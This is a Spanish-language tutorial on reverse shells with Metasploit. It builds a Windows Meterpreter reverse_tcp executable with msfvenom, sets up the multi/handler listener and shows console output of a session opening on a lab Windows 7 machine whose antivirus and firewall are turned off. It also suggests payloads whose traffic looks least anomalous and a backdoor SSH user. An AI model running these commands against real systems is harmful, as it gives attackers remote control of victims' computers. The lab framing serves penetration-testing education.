Hay dos tipos populares de shell, bind y reverse respectivamente. Bind shell – Abre un nuevo servicio en la máquina objetivo y requiere que el atacante se conecte a él para obtener una sesión. Reverse shell – La reverse shell supone que el atacante instala primero un listener en su máquina, la máquina objetivo actúa como cliente conectándose a ese listener, y finalmente el atacante obtiene una sesión.
En este artículo, vamos a ver el uso de reverse shell para obtener una sesión. (Si eres un maestro de las artes oscuras de la seguridad informática, ¡adelante, y deja espacio para que los novatos brillen en esta aventura!)
Acerca de Metasploit
Metasploit no es sólo una herramienta. Es un marco completo. Es una plataforma modular de pruebas de penetración basada en Ruby que permite escribir, probar y ejecutar código exploit, es flexible y extremadamente robusto y tiene toneladas de herramientas para realizar diversas tareas simples y complejas. Metasploit Framework crea payloads en formato apk, exe, etc. que pueden ser ejecutados, y una vez que el script comienza a ejecutarse proporciona una conexión al sistema o teléfono de la víctima. Metasploit framework se construye en la mayoría de los sistemas operativos Linux kernel y también podemos utilizarlo en Windows,
Listar Reverse Shell de Metasploit
Para obtener una lista de reverse shells, utiliza el comando msfvenom
.
msfvenom --list payloads | grep reverse
Como regla general, deberías optar por Meterpreter porque actualmente proporciona el mejor soporte post-explotación que Metasploit puede ofrecer.
Reverse shell en Windows
En Windows, la reverse shell más utilizada es windows/meterpreter/reverse
. También puedes utilizar windows/meterpreter/reverse_http
o windows/meterpreter/reverse_https
, ya que su tráfico de red parece ser el menos anómalo.
Reverse shell en Linux
En Linux puedes intentar usar linux/x86/meterpreter/reverse_tcp
, o la versión de 64 bits. La más estable es linux/x64/meterpreter_reverse_tcp
.
Cuándo Puede ser Necesario Utilizar Reverse Shell
Existen varios escenarios posibles que implican el uso de este método
- La máquina de destino está en una red privada diferente.
- El cortafuegos de la máquina de destino bloquea los intentos de conexión entrantes utilizando el bind shell.
- Tus cargas útiles (payloads) no pueden ser implementadas al puerto correcto por cualquier razón.
- O simplemente no puedes decidir cuál elegir.
Cuándo no es Necesaria la Reverse Shell
En términos generales, si puedes crear una puerta trasera en un servicio existente, puede que no sea necesaria una reverse shell. Por ejemplo, si ya dispones de un servidor SSH en ejecución en el equipo de destino, puedes intentar añadir un nuevo usuario y utilizar las credenciales para otras acciones.
Cómo Configurar Reverse Shell al Generar Payloads
Cuando generas reverse shell usando msfpayload o msfvenom, es importante entender como configurar lo siguiente:
- LHOST – Esta es la dirección IP a la que desea que la maquina de destino se conecta. Si estás en una red local y deseas establecer una conexión desde una máquina de destino que también está en la misma red local, no debería haber problemas para establecer la conexión. En caso contrario, necesitarás configurar el reenvío de puertos o utilizar técnicas como UPnP (Universal Plug and Play). LHOST no debe ser “localhost”, o “0.0.0.0.0”, o “127.0.0.1”, porque en ese caso le estás diciendo a la máquina de destino que se conecte a sí misma.
- LPORT es el puerto al que quieres que se conecte la máquina destino.
Cuando configuras un listener para reverse shell también necesitas, como mínimo, configurar LHOST y LPORT, pero con un significado ligeramente diferente (una perspectiva diferente):
- LHOST es la dirección IP a la que quieres enlazar tu listener.
- LPORT es el puerto al que quieres conectar tu listener.
Debes asegurarte de que el listener se está ejecutando antes de ejecutar el reverse shell.
Demostración
En esta demostración tenemos dos máquinas:
PC A:
- La casilla del atacante que recibe la sesión de carga útil.
- La IP es
192.168.1.123
(ifconfig
). - En la misma red que la máquina víctima.
PC B:
- La máquina “víctima”
- Windows 7
- Dirección IP:
192.168.1.80
(ipconfig
) - En la misma red que la máquina del atacante
- Para las pruebas, el antivirus no está activado.
- El cortafuegos tampoco está activado.
- Paso 1: Crear un payload ejecutable
En el ordenador del atacante, ejecuta msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=4444 -f exe > /tmp/iambad.exe
- Paso 2: Copiar la carga útil ejecutable en la PC B (al PC B es la máquina víctima).
- Paso 3: Configurar el handler de la carga útil en la PC A (la PC A es la máquina atacante).
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
- Paso 4: Haz doble clic en el archivo ejecutable malicioso. Este paso no requiere más explicación.
- Paso 5: Ver la sesión de meterpreter/payload en la PC A.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2023-07-31 19:03:43 -0500
meterpreter >
La sugerencia de meterpreter nos dice que actualmente estamos interactuando con paylods
Nota: Información para fines de investigación, formación o auditoría. Su uso en beneficio propio está penado por autoridades locales.